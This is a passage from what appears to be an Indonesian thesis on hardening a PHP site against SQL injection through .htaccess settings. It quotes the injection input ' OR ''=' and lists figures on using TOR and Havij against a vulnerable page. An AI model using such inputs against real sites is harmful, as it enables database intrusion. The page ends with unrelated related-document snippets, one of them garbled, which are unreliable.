• Penggunaan magic_quotes_gpc pada file .htaccess

Dengan mengaktifkan magic_quotes_gpc pada file .htaccess, maka dilakukan validasi pada text input, sehingga setiap ada karakter “ ‘ ” pada

text input sebuah web akan ditambahkan karakter “ \ ” sebelum karakter “

‘ ”, sehingga jika user memasukkan input ‘ OR ‘’=’ maka string pada

database tidak akan bernilai true.

• Penggunaan display_errors pada file .htaccess

Dengan menon-aktifkan display_errors yang terdapat pada file .htaccess, maka web yang tadinya menampilkan error saat di exploit tidak lagi menampilkan error tersebut sehingga tidak memungkinkan untuk dilakukan injeksi terhadap jumlah tabel.

Gambar

Gambar 4.19 Status TOR
Gambar 4.21 Web Whatismyipaddress
Gambar 4.23 Pencarian Halaman Vulnerable
Gambar 4.26 Database Hasil Havij
+7

Referensi

Dokumen terkait

Pada perawatan pasien yang telah diketahui atau dicurigai Menderita penyakit menular melalui udara atau droplet, masker yang digunakan hares dapat mencegah

Rasional : 6yeri yang berhubungan dengan hepatitis sangat tidak nyaman,  6yeri yang berhubungan dengan hepatitis sangat tidak nyaman, #leh karena terdapat peregangan secara

jumlah Kom Uraian ik sak Ringan sak Berat ompok baran erintah adala mulasi penyu t Eksplorasi o Alat Eksp 2014 sebesa iri dari dari s .015.000 (em dengan nila sar Rp0 asi

Dalam buku Our Common Future (buku yang pertama kali memunculkan konsep pembangunan berkelanjutan atau Sustainable Development), telah diingatkan tentang masalah perkotaan

 Dapat diubah melalui prosedur sama dengan membuat Undang-Undang  Pasal pasal dalam UUD NRI 1945 yang harus dipelajari.  Warga Negara Indonesia 

Untuk memperdalam pemahaman Anda mengenai materi di atas, kerjakanlah latihan berikut!.. 4) Evaluasi ini dimaksudkan untuk melihat kembali apakah program tersebut

Data sekunder merupakan data atau informasi yang diperoleh secara tidak langsung dari objek penelitian yang bersifat publik yang terdiri atas: struktur organisasi, data kearsipan,

Dari data ini maka dapat disimpulkan bahwa pada lahan tersebut memiliki kelembaban yang tinggi namun karena analisis hanya menggunakan tabel deskriptif maka kita tidak